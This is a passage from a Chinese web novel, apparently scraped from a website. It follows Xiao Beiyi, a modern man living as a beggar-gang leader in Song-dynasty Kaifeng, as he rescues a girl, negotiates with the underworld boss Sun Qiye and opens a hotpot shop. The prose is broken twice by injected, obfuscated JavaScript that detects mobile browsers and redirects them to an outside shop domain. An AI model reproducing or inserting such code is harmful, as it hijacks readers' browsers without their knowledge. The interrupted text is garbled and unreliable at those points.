“第一，这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650294|206859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件事不能急，我得慢慢查。第二，查出来的结果，不管是什么，你不能冲动，得听我的。” 周世昌连连点头：“行行行，都听你的。” 周世昌走后，萧北翊把刘二和阿九叫到北屋，关上门，把事情的来龙去脉说了一遍。 刘二听完，脸色凝重：“子翼，这事不好办。牵扯到程家，弄不好是要掉脑袋的。” 阿九却有不同的看法：“正是因为牵扯到程家，才更要查。程家是朝中最大的权贵之一，如果咱们能查出一点什么，不管是卖给程家的对手，还是用来要挟程家，都是一笔大买卖。” 萧北翊看了阿九一眼，这丫头的脑子转得是真快。 “阿九说得对，”萧北翊说，“但刘二哥说得也对。这事有风险，不能蛮干。我的想法是——先查瑞锦坊的底。看看这个瑞锦坊到底是谁的产业，跟程家有没有关系，为什么要搞周世昌。” “怎么查？”刘二问。 萧北翊想了想：“瑞锦坊在马行街，是城东的地盘。刘二哥，你带人盯着瑞锦坊的掌柜和伙计，看他们每天跟什么人见面、去什么地方。阿九，你去查瑞锦坊的进货渠道——这么大的布庄，不可能没有上游供货商。找到供货商，就有机会摸清幕后老板。” 两人领命而去。 萧北翊一个人站在院子里，看着头顶的天空发呆。 程家。 枢密使。 这条线，比他想像的要深。赤羽才刚起步，就撞上了朝中最硬的石头之一。是福是祸，现在还不好说。 但有一点他可以肯定——不管前路多难，赤羽已经不可能回头了。 当天傍晚，萧北翊去了城西。 不是为了查案，而是因为阿九之前提到的那件事——城西的孙家瓦舍在招杂役，管事的是个姓朱的胖子，好色，欺负了去应征的小姑娘。 萧北翊本来没把这事放在心上，但阿九后来又打听到一个消息：那个被朱胖子欺负的小姑娘，第二天就失踪了。 “失踪了？”萧北翊问。 阿九点头：“她老娘报了官，官府去孙家瓦舍查了，朱胖子说没见过这个姑娘。但瓦舍的伙计私下跟人说，那姑娘确实去过，进去之后就没出来。” 萧北翊的脸色沉了下来。 他不是一个爱管闲事的人，但有些闲事，他管定了。 “走，去看看。” 孙家瓦舍在城西的崇明门附近，是个三层的木楼，外面挂着红灯笼，里面传来嘈杂的说笑声。萧北翊没走正门，而是绕到后面的巷子里，从一个狗洞钻了进去。 瓦舍的后院堆满了杂物，几个杂役正在搬东西。萧北翊蹲在阴影里，观察了一会儿，然后悄悄地摸到了后院深处的一间小屋前。 小屋的门虚掩着，里面传来一个男人粗重的喘息声和女人低低的哭声。 萧北翊的拳头攥紧了。 他深吸一口气，从袖子里摸出一把从王隐之那里借来的短刀——他不会用刀，但有时候，刀比拳头更有威慑力。 他一脚踹开门，冲了进去。 屋里的场景让他怒火中烧——朱胖子压在一个衣衫不整的姑娘身上，姑娘的脸上满是泪痕。 “放开她。”萧北翊的声音冷得像冬天的冰碴子。 朱胖子吓了一跳，从姑娘身上滚下来，看见是一个脏兮兮的乞丐，顿时又硬气起来：“你他妈谁啊？知道老子是谁吗？” 萧北翊没理他，走过去把姑娘拉起来，挡在身后。 “我再说一遍，放开她。哦不对，你已经放开了。那我换一句——跪下。” 朱胖子愣了一下，然后哈哈大笑：“你一个花子，让我跪下？” 萧北翊没笑。他把短刀在手里转了转——动作很生疏，但月光下刀刃的反光让朱胖子的笑声戛然而止。 “你知道我是谁吗？”萧北翊用朱胖子刚才的语气反问。 朱胖子咽了口唾沫：“你……你是谁？” “我叫萧子翼。你可能没听过这个名字，但你一定听说过周记布庄的事。”萧北翊盯着他的眼睛，一字一句地说，“三天，我用了三天时间，找到了周记布庄被盗的货。你知道我为什么能找到吗？不是因为我会破案，而是因为——东京城的每一个角落里，都有我的人。” 朱胖子的脸色变了。 “你的人？” “对。马行街、甜水巷、葫芦巷、城东、城南、城西、城北，到处都有我的人。”萧北翊把短刀往前送了送，刀尖抵在朱胖子的喉咙上，“你今天碰了这个姑娘一根手指头，明天就会有人把你的丑事捅到开封府去。你信不信？” 朱胖子额头上冒出了冷汗。 “你……你想怎么样？” 萧北翊把刀收回来，退后一步：“第一，这个姑娘，你放她走，以后不许再找她的麻烦。第二，你欺负过的那些姑娘，每个人赔十两银子。第三——” 他看着朱胖子，嘴角露出一丝冷笑。 “第三，从今天起，孙家瓦舍是我的地盘。你在瓦舍里听到的、看到的，都得告诉我。要是你敢隐瞒一个字，我就让你知道，什么叫‘生不如死’。” 朱胖子的嘴唇哆嗦了几下，最终还是点了头。 萧北翊带着那个姑娘离开了孙家瓦舍。 姑娘一直在哭，萧北翊不知道怎么安慰人，就把自己的破棉袄脱下来披在她身上，一路沉默地送她回了家。 到了家门口，姑娘忽然跪下给他磕头。 “恩公，你叫什么名字？” “叫我子翼就行。”萧北翊把她扶起来，从袖子里摸出一小块碎银子塞给她，“拿着，买点好吃的压压惊。” 姑娘又哭了。 萧北翊叹了口气，转身走了。 他走在城西的夜巷里，月光照在他的背影上，把他的影子拉得很长很长。 他忽然想起一件事——他连那个姑娘的名字都没问。 算了，问了也记不住。 回到葫芦巷的院子，已经是深夜了。 萧北翊推开院门，发现北屋里亮着灯。他走过去，推开门，看见南晚枫坐在他的床上，手里拿着一本书，正看得入神。 “南姑娘，”萧北翊靠在门框上，无奈地说，“这是我的房间。” “我知道。”南晚枫头也不抬，“我来找东西的。顺便等你。” “等我？” 南晚枫放下书，抬起头看着他。月光从窗户纸透进来，映在她的脸上，让她的轮廓显得格外柔和。 “你今天去了孙家瓦舍。”她说，语气平淡得像在说今天天气不错，“你救了一个姑娘，威胁了朱胖子，还把瓦舍收入了你的‘地盘’。” 萧北翊的眼睛眯了起来：“你跟踪我？” “不是跟踪。”南晚枫站起来，走到他面前，“是保护你。你以为孙家瓦舍是谁的地盘？是孙七爷的。你今天动了朱胖子，就等于动了孙七爷的人。孙七爷是什么人？他是城西的地下皇帝，黑白两道都吃得开。你觉得他会善罢甘休吗？” 萧北翊沉默了。 他承认，他今天冲动了。他看到那个姑娘被欺负的时候，脑子一热就冲进去了，根本没考虑后果。 “多谢提醒。”他说，“我会小心的。” 南晚枫看了他一眼，从袖子里摸出一张纸条，塞到他手里。 “这是孙七爷的底细。能查到的都查到了。你自己看着办。” 她说完，转身走了。 萧北翊站在原地，看着手里的纸条，心里涌起一股奇怪的感觉。 这姑娘，比他想的还要厉害。 他打开纸条，借着月光看了看，眉头渐渐皱了起来。 孙七爷，本名孙德茂，五十岁，早年是个走街串巷的货郎，后来靠贩卖私盐发了家，再后来洗白上岸，开了瓦舍和茶楼，生意做得风生水起。他跟朝中的不少权贵都有来往，据说跟程家也有生意上的往来。 程家。 又是程家。 萧北翊把纸条折好，塞进怀里，走到院子里，坐在石凳上，看着头顶的月亮发呆。 赤羽才刚起步，就撞上了程家这条线。是巧合，还是有人在幕后推动？ 他不知道。 但有一件事他很确定——不管前路多难，他都不会退缩。 因为他是萧北翊，是赤羽之主。 窗外，月光如水，照在葫芦巷的青石板路上，明晃晃的，像一条铺满银子的路。 萧北翊闭上眼睛，深吸一口气，然后睁开眼睛，站起来，走回了北屋。 明天还有很多事要做。 今晚，先睡个好觉。 5. 第五章 孙七爷的见面礼 南晚枫的提醒不是空穴来风。 第二天一早，萧北翊还在院子里洗脸，赵大锤就跌跌撞撞地跑了进来。 “萧哥！不好了！咱们的人在城西被人打了！” 萧北翊把脸上的水一抹：“谁打的？打谁了？” “打的是孙驼子！”赵大锤喘着粗气，“早上孙驼子在相国寺门口蹲着，来了三个壮汉，二话不说把他按在地上揍了一顿，还把他的旱烟杆给撅了。临走的时候撂下一句话：‘七爷说了，叫花子就该有叫花子的样子，别管不该管的闲事。’” 萧北翊的脸色沉了下来。 孙七爷的动作比他预想的要快，也要直接。打孙驼子，是在敲山震虎。撅旱烟杆，是在羞辱。那句“别管不该管的闲事”，指向的自然是昨晚孙家瓦舍的事。 “孙驼子伤得怎么样？” “皮肉伤，不碍事。但旱烟杆断了，老爷子心疼得直掉眼泪。”赵大锤说这话的时候自己也觉得好笑——一个老乞丐为了旱烟杆哭，这画风确实有点离奇。 萧北翊深吸一口气，让自己冷静下来。 孙七爷是城西的地头蛇，根深蒂固，硬碰硬肯定不行。但也不能怂——赤羽刚起步，如果被人打了一顿就缩回去，以后就不用混了。 “把刘二、钱串子、阿九叫来。开会。” 人到齐了，萧北翊把情况说了一遍。 刘二的第一个反应是：“打回去。” 钱串子的第一个反应是：“赔钱摆平。” 阿九没说话，靠在门框上，等着萧北翊表态。 “打回去？”萧北翊看着刘二，“怎么打？咱们十个乞丐，打得过孙七爷手底下几十号人？就算打过了，官府来了抓谁？抓咱们？” 刘二不说话了。 “赔钱？”萧北翊又看向钱串子，“拿什么赔？咱们现在的家底加起来不到八两银子，够赔孙七爷一根手指头吗？” 钱串子也不说话了。 萧北翊站起来，在屋子里踱了两圈，然后停下。 “孙七爷打孙驼子，是在试探咱们。他想看看咱们是什么路数——是硬骨头，还是软柿子。如果咱们忍了，他就知道赤羽不过是一群乌合之众，以后往死里欺负。如果咱们打回去，正中他下怀——他有的是办法让官府把咱们抓进去。” “那怎么办？”赵大锤急了，“打也不是，忍也不是，总不能跪着求他吧？” 萧北翊嘴角微微上扬：“谁说要跪着求他？我要让他来求我。” 屋子里安静了一瞬。 “子翼，你什么意思？”刘二问。 萧北翊没直接回答，而是转向阿九：“阿九，你之前说，孙七爷跟程家有生意往来？” 阿九点头：“对。据说是通过一个中间人搭的线，孙七爷每年给程家送不少银子，换程家在朝中的庇护。” “知道是程家哪个管事收的钱吗？” “还在查。” “抓紧查。”萧北翊说，“同时，给我查另外几件事。第一，孙七爷的瓦舍和茶楼，有没有偷税漏税。第二，孙七爷的手下，有没有在外面惹过人命官司。第三，孙七爷有没有什么仇家——尤其是那种被他欺负过、一直想报复的。” 阿九的眼睛亮了：“萧哥，你是想——” “我想让他知道，他惹的不是一群叫花子。”萧北翊说，“他惹的是一个手里捏着他七寸的人。” 接下来三天，赤羽全员出动。 刘二带着几个人，日夜盯着孙七爷的几个场子，记下每一个进出的人物、每一笔可疑的交易。钱串子发挥他的账房本事，从侧面打听孙七爷的税务情况——这一查还真查出了问题：孙七爷名下的瓦舍和茶楼，上报的营业额只有实际的三成。 阿九则专攻孙七爷的人际关系网。这姑娘在这方面的天赋惊人，三天时间就理出了一张密密麻麻的关系图，从孙七爷的七大姑八大姨，到他跟程家管事的每一次见面时间、地点、中间人，清清楚楚。 孙驼子虽然挨了打，但也没闲着。他拖着一条瘸腿，在城南的老乞丐圈子里到处打听，终于找到了一个关键人物——一个当年被孙七爷害得家破人亡的茶商，姓魏，如今在城南的破庙里苟延残喘。 “魏掌柜？”萧北翊蹲在破庙里，看着面前这个瘦得皮包骨的老头，“你是说，孙七爷当年抢了你的茶叶生意，还勾结官府把你下了大狱？” 魏掌柜浑浊的眼睛里闪过一丝恨意：“不是抢，是骗。他说要跟我合伙做一笔大买卖，让我出银子，他出渠道。我把全部家当都投进去了，结果他的‘渠道’是假的，银子被他吞了。我去告官，他说我诬告，反倒把我关了三年。等我出来，老婆改嫁了，儿子饿死了，家也没了。” 萧北翊沉默了一会儿，然后问：“魏掌柜，如果给你一个机会扳倒孙七爷，你愿不愿意作证？” 魏掌柜抬起头，浑浊的眼睛里迸出一道光。 “愿意。死了也愿意。” 有了魏掌柜这个人证，萧北翊的棋就好下了。 但他不急着用。现在还不是时候——赤羽的根基太浅，一张牌打出去，如果没有后续的牌跟上，很容易被人反噬。 他需要更多的筹码。 第四天，阿九带来了一个消息。 “萧哥，查到了。孙七爷每年给程家管事的银子，是通过一个叫‘恒通钱庄’的地方转的。恒通钱庄的掌柜姓胡，是孙七爷的老乡，两人关系极深。程家管事每次收钱，都是在恒通钱庄的后院，由胡掌柜做中间人。” “有证据吗？” 阿九摇头：“目前没有。恒通钱庄的账目做得很干净，表面上看不出问题。但我打听到一个事——恒通钱庄的账房先生，姓周，最近跟胡掌柜闹翻了，被赶了出来。这个周账房，手里可能握着一些东西。” 萧北翊精神一振：“人在哪？” “在城南的破窑洞里住着，日子过得比乞丐还惨。”阿九说，“我已经让人盯着了，但他不肯见生人，我去过一次，连门都没进。” 萧北翊想了想：“我去。他不是不肯见生人吗？我比他更不像人——不，我是说我比他更像乞丐。一个乞丐去找他，他的戒心会低一些。” 阿九看了他一眼，难得地露出一丝笑意：“萧哥，你对自己倒是定位准确。” 城南的破窑洞在城墙根下，原来是个烧砖的窑，废弃之后成了流浪汉的窝棚。萧北翊找到那里的时候，天已经快黑了。 窑洞里黑咕隆咚的，一股霉味直冲脑门。萧北翊猫着腰钻进去，就看见一个瘦小的身影缩在角落里，面前摆着一碗凉水和一个硬馒头。 “周账房？”萧北翊蹲下来，声音放得很低。 那身影哆嗦了一下，抬起头，露出一张蜡黄的脸。四十来岁，戴着一副断了腿的眼镜，用麻绳绑着挂在耳朵上。 “你是谁？” “我叫萧子翼，是个叫花子。”萧北翊从怀里掏出一包热包子——这是他特意从巷口买的，还冒着热气——放在周账房面前，“周账房，你别怕，我不是来害你的。我是来跟你做一笔买卖的。” 周账房看着那包热包子，咽了咽口水，但没有伸手。 “什么买卖？” “我知道你从恒通钱庄被赶出来了。我也知道，你手里有一些东西，是胡掌柜不想让人看到的。”萧北翊说，“我不问你是怎么拿到那些东西的，也不问那些东西是什么。我只想说——如果你手里的东西能扳倒胡掌柜，我给你一百两银子，外加一个安稳的住处，保证没人能找到你。” 周账房的眼睛在镜片后面闪烁了一下。 “一百两？” “一百两。”萧北翊说，“现在拿不出，但三个月之内，一定给你。” 周账房沉默了很长时间。窑洞外面，风在呜咽。 “你一个叫花子，凭什么说这种大话？” 萧北翊笑了：“周账房，你以前在恒通钱庄当账房，一定见过不少有钱人。你觉得，有钱人和叫花子之间的区别是什么？” 周账房想了想：“银子。” “不对。”萧北翊摇头，“是脑子。有钱人的脑子不一定比叫花子好使，但他们有胆子。敢想、敢干、敢赌。我萧子翼现在是个叫花子，但我有脑子，有胆子。三个月后，你就知道了。” 他站起来，把那包热包子往前推了推。 “包子趁热吃。凉了就不好吃了。” 他转身钻出了窑洞。 身后，周账房颤抖着手，打开了那包包子。 回到葫芦巷，已经是深夜了。 萧北翊推开院门，发现北屋里又亮着灯。他叹了口气，走进去，果然看见南晚枫坐在他的床上，这次没看书，而是在擦一把短刀。 “南姑娘，”萧北翊靠在门框上，“你又来了。这次是来找东西的？” 南晚枫头也不抬：“东西找到了。” 萧北翊一愣：“找到了？什么东西？” 南晚枫把短刀插回腰间的皮鞘里，站起来，从袖子里摸出一个巴掌大的木盒子，打开，里面躺着一块玉佩。 “就是这个。我爹藏在这院子的水井里，我找了半年没找到，你一来，我居然在井壁上发现了一个暗格。”她的语气里带着一丝不甘，“所以说，你这人是不是自带运气？” 萧北翊凑过去看了看那块玉佩。玉质温润，上面刻着一个“南”字，背面还有一些小字，看不太清。 “这就能证明你家的清白了？” 南晚枫把盒子合上，收进袖子里：“不能。但这是关键的一步。剩下的我自己来就行，不劳你费心了。” 她说完，越过萧北翊，朝门口走去。 走到门槛处，她忽然停下，头也不回地说了一句：“对了，你查孙七爷的事，小心点。那个人心狠手辣，不是朱胖子那种货色能比的。” “你这是在关心我？” 南晚枫回过头，月光下她的表情看不清楚，但声音里带着一丝好笑。 “关心你？你想多了。我只是不想我刚租出去的院子，房东是个死人。” 她走了。 萧北翊站在北屋门口，看着她的背影消失在巷口，忍不住笑了一声。 这姑娘，嘴比她的刀还硬。 第二天，孙七爷的“见面礼”来了。 不是打人，不是砸东西，而是一封请帖。 请帖是用上好的宣纸写的，字迹工整，措辞客气：“萧公子子翼足下：闻君才华出众，心向往之。明日酉时，敝舍备薄酒一席，盼君光临。孙德茂顿首。” 赵大锤把请帖递给萧北翊的时候，手都在抖：“萧哥，这……这是鸿门宴吧？” 刘二的表情也很凝重：“子翼，不能去。孙七爷这种人，请你去吃饭，八成是想把你扣下。” 钱串子推了推并不存在的眼镜：“也不一定。如果他想扣人，直接派人来抓就是了，何必费这功夫写请帖？” 阿九没说话，看着萧北翊，等他决定。 萧北翊把请帖翻来覆去看了两遍，然后笑了。 “去。为什么不去？人家请吃饭，不去不给面子。” “萧哥！”赵大锤急了。 “放心，”萧北翊拍了拍他的肩膀，“我这个人别的本事没有，嘴皮子功夫还行。一顿饭而已，吃不死人。” 第二天酉时，萧北翊换了身干净衣裳——不是新买的，是从当铺里淘来的旧袍子，洗得发白，但好歹没有补丁。他一个人去了孙七爷的宅子。 孙七爷住在城西的崇明坊，是一栋三进的大宅院，门口蹲着两只石狮子，气派得很。萧北翊到的时候，一个管事模样的人已经在门口等着了，领着他穿过前院、中院，来到了后花园的凉亭里。 凉亭里摆了一桌酒菜，一个五十来岁的老者坐在主位上，穿着一件深蓝色的锦袍，身材微胖，面皮白净，下巴上留着一撮山羊胡，看起来像个和气的富家翁。 但萧北翊注意到他的手——骨节粗大，虎口有老茧，年轻时一定没少拿刀。 “萧公子？”老者站起来，拱手笑道，“久仰久仰。请坐。” 萧北翊也拱手还礼：“孙七爷客气了。小子一介乞丐，当不起‘公子’二字。” “当得起。”孙七爷伸手示意他坐下，“能在三天之内帮周世昌找回被盗的货，又能在一天之内把我的朱管事吓得魂不附体，这样的人，叫花子堆里可不多见。” 萧北翊坐下，端起面前的酒杯，闻了闻——是好酒，上等的汾酒。 “七爷，咱们明人不说暗话。您今天请我来，是为了朱胖子的事？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650295|206859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 孙七爷给自己也倒了一杯酒，端起来，没有喝，而是看着酒液在杯中打转。 “朱胖子的事，是小事。我请他吃饭，是因为我想认识认识你。” “认识我？” “对。”孙七爷放下酒杯，目光直直地看着萧北翊，“萧子翼，你不是一般人。你手下那几个人，刘二以前是边军的承节郎，孙驼子在城南混了三十多年，阿九那丫头虽然年纪小，但脑子比大多数男人都好使。你能把这些人拢在一起，说明你有本事。我孙德茂在东京城混了大半辈子，最喜欢结交有本事的人。” 萧北翊心里暗暗警惕。这话听起来像是在拉拢，但实际上是在告诉他——你的人我都查过了，你在我面前没有秘密。 “七爷谬赞了。”萧北翊笑了笑，“小子不过是带着几个弟兄讨口饭吃，算不上什么本事。” “讨口饭吃？”孙七爷笑了，“萧子翼，你这口饭，吃得可不小。周世昌的事，你是为了赚赏银。朱胖子的事，你是为了什么？为了那个姑娘？一个叫花子为一个素不相识的姑娘出头，不是为了钱，那就是为了名？” “也不是为了名。”萧北翊说，“只是因为看不过眼。” 孙七爷盯着他看了好一会儿，然后哈哈大笑起来。 “看不过眼！好一个看不过眼！”他拍着桌子，笑得眼泪都快出来了，“萧子翼，你知不知道，这句话我在二十年前也说过。那时候我还是个走街串巷的货郎，看见一个地痞欺负一个卖花的小姑娘，我也冲上去管了闲事。结果呢？我被那地痞打断了三根肋骨，在床上躺了两个月。” 萧北翊没说话。 孙七爷收起笑容，眼神变得深邃：“你知道我后来怎么对付那个地痞的吗？” “怎么对付的？” “我没有打回去。我花了三年时间，摸清了他的底细——他偷税漏税、强买强卖、手上还有人命。我把这些证据递到了开封府，他判了流放，死在了路上。而我，接手了他的生意，一步一步做到了今天。” 萧北翊心中一震。孙七爷说的这个故事，跟他正在做的事情何其相似。 “所以，”孙七爷端起酒杯，终于喝了一口，“萧子翼，我今天请你来，不是为了朱胖子的事，而是想告诉你——你想干什么，我都知道。你在查我的底细，你的人在盯着我的场子，你还去找了魏掌柜和周账房。我这个人，不喜欢被人盯着。” 凉亭里的气氛骤然冷了下来。 萧北翊的手指在桌下微微收紧，但他脸上依然挂着笑。 “七爷既然都知道了，那小子也不藏着掖着了。我查您，是因为您先动了我的人。孙驼子被您的人打了，旱烟杆被撅了——这是给我下马威。我如果不还手，赤羽以后就不用混了。” 孙七爷点了点头：“有理。那我打了你的人，你查了我的底，扯平了？” “扯平了。”萧北翊说，“但朱胖子的事，没扯平。那个姑娘，您得给我一个交代。” 孙七爷的眉头皱了一下：“那姑娘不是我的人。朱胖子是我手下的管事不假，但那姑娘的事，是他自己干的，跟我无关。” “他是您的人，他干了坏事，您就得管。这是规矩。” 孙七爷沉默了片刻，然后忽然笑了。 “萧子翼，你这个人，胆子是真大。敢跟我孙德茂讲规矩的人，东京城不超过五个。” “那小子就做第六个。” 孙七爷又笑了一声，这次笑得很轻。 “行。朱胖子的事，我给你一个交代。人我辞了，该赔的银子我赔。这样，够不够？” 萧北翊站起来，端起酒杯，朝孙七爷举了举。 “七爷痛快。小子敬您一杯。” 两人干了杯。 萧北翊放下酒杯，转身要走。 “萧子翼，”孙七爷在身后叫住他，“还有一件事。程家，你别碰。那不是你惹得起的人。” 萧北翊脚步一顿，回过头：“七爷，您这是在提醒我，还是在警告我？” “都有。”孙七爷说，“你我虽然立场不同，但我孙德茂佩服有本事的人。你很有本事，但你还太年轻。有些事，等你再大几岁，自然就懂了。” 萧北翊没再说什么，大步走出了孙宅。 出了大门，他才发现后背已经湿透了。 跟孙七爷这种人打交道，比跟十个朱胖子说话都累。 回到葫芦巷，刘二、阿九他们都在院子里等着。看见萧北翊完好无损地回来，赵大锤第一个冲上来，上下打量了他好几遍。 “萧哥，你没缺胳膊少腿吧？” “缺了一张嘴。”萧北翊说，“被孙七爷灌了好几杯酒，舌头都快麻了。” 他把跟孙七爷谈话的内容大致说了一遍。刘二听完，脸色不太好看：“子翼，孙七爷这是在跟你划地盘。他不计较你查他的事，但让你别碰程家。这说明程家是他的命根子，谁碰他跟谁拼命。” 阿九却有不同的看法：“萧哥，你不觉得奇怪吗？孙七爷一个做瓦舍生意的，为什么跟程家走得那么近？仅仅是为了攀附权贵？我觉得没那么简单。” 萧北翊点头：“阿九说得对。这里面一定还有别的文章。但今天不早了，先不说这个。明天开始，重心从孙七爷身上收回来，继续做咱们自己的事——收集消息、赚钱、发展人手。” “那程家的事呢？”阿九问。 “先放着。”萧北翊说，“孙七爷说得对，我现在还太年轻，有些事急不得。” 他说这话的时候，眼神里闪过一丝不甘。 但他知道，隐忍，是一个权谋家最基本的修养。 当天夜里，萧北翊躺在北屋的床上，怎么都睡不着。 南晚枫坐过的床上还残留着一股淡淡的香味，像是梅花，又像是松木，若有若无。 他翻了个身，把脸埋进枕头里，闷闷地骂了自己一句：“萧子翼，你是不是有病？人家坐一下你的床，你就开始胡思乱想？” 骂完自己，他又翻了回去。 窗外的月亮很圆，月光从窗户纸透进来，在地上画出一个方方正正的亮斑。 明天，又是新的一天。 赤羽的路还很长，一步一步走吧。 他闭上眼睛，这次真的睡着了。 6. 第六章 鸳鸯锅与复式账 孙七爷的事告一段落后，萧北翊开始琢磨一个更现实的问题——钱。 赤羽现在的家底不到八两银子，九个骨干虽然不拿工钱，但吃喝拉撒都得花钱。钱串子已经把账算得很清楚了：按照目前的开销速度，最多两个月，赤羽就得破产。 “得找个进钱的营生。”萧北翊蹲在葫芦巷院子的石阶上，对刘二说，“光靠接悬赏这种活儿，有一顿没一顿的，不靠谱。” 刘二点头：“你想干什么？偷？抢？还是开店？” “开店。”萧北翊说，“但我没钱。” “没钱开什么店？” “借。”萧北翊站起来，拍了拍屁股上的灰，“找周世昌借。” 周世昌听说萧子翼要借钱开店，二话没说就答应了。 “借多少？”周世昌问。 “二十两。” 周世昌愣了一下：“二十两？够吗？” 萧北翊笑了：“周掌柜，二十两在东京城能盘下一间小铺面了。我又不是要开绸缎庄，就是开个吃食铺子，够了。” 周世昌也不多问，从柜里取出二十两银子，用红纸包了，塞给萧北翊。 “萧兄弟，你救过我的铺子，这钱你拿着用。什么时候有了什么时候还，没有就算了。” 萧北翊推辞了一下，还是收下了。他给周世昌写了一张借据，按了手印，写得清清楚楚——三个月内还清，利息一分。 周世昌看着借据，哭笑不得：“萧兄弟，你这也太见外了。” “亲兄弟明算账。”萧北翊把借据递给他，“周掌柜收好。三个月后，连本带利，二十三两。” 有了二十两本钱，萧北翊开始张罗开铺子的事。 开什么铺子？他琢磨了好几天。东京城的吃食铺子多如牛毛，卖什么的都有，想在里头杀出一条血路，得有新鲜玩意儿。 他想到了一样东西——火锅。 北宋有类似火锅的东西，叫“暖锅”或者“拨霞供”，但做法简单，就是把肉片在沸水里涮一下蘸料吃，远没有现代火锅那么丰富。萧北翊虽然不是厨子，但作为一个现代人，吃过的火锅种类比他读过的史书还多——麻辣锅、清汤锅、鸳鸯锅、菌菇锅、番茄锅…… “鸳鸯锅！”萧北翊一拍大腿，把正在院子里晒太阳的孙驼子吓了一跳。 “萧哥，你咋了？”赵大锤从屋里探出头来。 “大锤，你会打铁对吧？” 赵大锤一愣：“会啊。我当了五年铁匠学徒，虽然手艺不精，但打个铁锅没问题。” “好！”萧北翊跳起来，“你给我打一口锅，中间隔开，一边大一边小，能同时装两种汤的那种。” 赵大锤挠头：“萧哥，你要这种锅干啥？” “做买卖。”萧北翊嘿嘿一笑，露出一口白牙，“大买卖。” 接下来的半个月，萧北翊忙得脚不沾地。 赵大锤带着两个兄弟，在城北找了个铁匠铺，借人家的炉子打锅。锅的形状反复改了七八次，太厚了传热慢，太薄了容易裂，中间隔板焊接不好会漏汤。赵大锤骂了萧北翊无数次“萧哥你是要累死我”，但每次骂完又回去继续干。 孙驼子负责找铺面。他在城南混了几十年，认识的人多，很快就找到了一间合适的——在甜水巷口，老孙头豆腐摊隔壁，原来是个卖杂货的铺子，老板生意不好要转让，月租五百文，连带后面的一个小院子。 钱串子负责算账，把开业前的每一笔开销都记得清清楚楚：铺面押金一两五钱，装修加桌椅二两，买肉买菜买调料的周转资金三两，赵大锤打锅的材料费八钱…… 阿九负责打听行情。她跑了十几家吃食铺子，把每种菜品的价格、每桌客人的平均消费、每天的客流量都摸了个大概。 萧北翊自己负责最核心的部分——火锅底料。 北宋没有辣椒。辣椒要到明朝才传入中国，这是个硬伤。但萧北翊很快想到了替代方案——用花椒、姜、蒜、豆豉、茱萸来调制麻辣味。茱萸有辣味，虽然不是辣椒那种辣，但聊胜于无。 他花了好几天时间，在王隐之的厨房里做实验。第一次，太麻了，麻得舌头都没感觉了。第二次，太咸了，咸得能齁死人。第三次，没味道。第四次，第五次，第六次…… 王隐之看着厨房里堆成山的失败品，心疼得直跺脚：“子翼！贫道的调料！贫道的柴火！贫道的锅！” “道长，您就当为东京城的餐饮事业做贡献了。”萧北翊一边刷锅一边赔笑。 第七次，萧北翊终于做出了一锅像样的底料。他叫来赤羽的所有人试吃，九个人吃得满头大汗，赵大锤连汤都喝了。 “萧哥，这是什么神仙汤？”赵大锤抹着嘴，一脸陶醉。 “这叫火锅。”萧北翊得意地说，“记住了，以后这就是咱们的招牌。” 铺子开张那天，萧北翊在门口放了一挂鞭炮。 铺子的名字叫“南北火锅”——这个名字是他想了三天才决定的。“南北”两个字，既暗合他的字“子翼”中的“翼”有北之意，又暗指南晚枫的“南”——虽然他不承认跟这姑娘有什么瓜葛，但取名的时候脑子里就是蹦出了这个字。更重要的是，火锅本来就是南北通吃的东西。 开张那天，南晚枫远远地站在巷口看了一眼那块招牌，面无表情地转身走了。没人注意到她，也没人看见她嘴角那一闪而过的弧度——也许有，但那条巷子里只有一只懒洋洋的野猫。 南北火锅的开业，在甜水巷引起了不小的轰动。 不是因为火锅本身有多稀奇，而是因为萧北翊搞了一个在北宋从未出现过的营销手段——开业大酬宾，前三天所有菜品五折，每桌还送一壶自制的酸梅汤。 这在现代是烂大街的套路，连小区门口的水果店都不屑用了。但在北宋，这种做法堪称降维打击。这就好比一个现代人回到古代，掏出打火机点柴火——村里人看了不得跪下喊神仙？ 第一天，铺子里坐满了人。第二天，门口排起了队。第三天，连隔壁老孙头豆腐摊的客人都被吸引过来了。 老孙头气得直跺脚：“萧子翼！你抢我生意！” 萧北翊端着一碗酸梅汤送过去：“孙叔，消消气。咱俩是邻居，互相帮衬。以后您店里的客人想吃火锅，我给打九折。” 老孙头接过酸梅汤，喝了一口，眼睛亮了：“这什么汤？酸酸甜甜的，好喝！” “酸梅汤。独家秘方。”萧北翊笑眯眯地说，“孙叔要是喜欢，以后每天给您送一壶。” 老孙头的脸色和缓了一些，但还是嘟囔了一句：“你小子，鬼得很。” 萧北翊心说：我要是把“私域流量”“用户粘性”“跨界合作”这些词说出来，您老人家怕是要以为我中邪了。 南北火锅的生意好得出乎萧北翊的预料。 开业第一周，每天的流水都在二两银子以上，除去成本，净赚一两多。一个月下来，利润接近四十两——比他预想的多了整整一倍。 钱串子拿着账本，手都在抖：“萧哥，咱们发财了。” “发什么财？”萧北翊笑骂，“这点钱，离发财还远着呢。不过，还周掌柜的二十两是够了。” 他说话算话，第三个月的月初，就把二十三两银子送到了周世昌手上。周世昌看着那一堆碎银子——有整锭的，有剪开的，还有几块明显是从不同地方凑来的——愣了好一会儿，然后叹了口气。 “萧兄弟，你是做大事的人。” 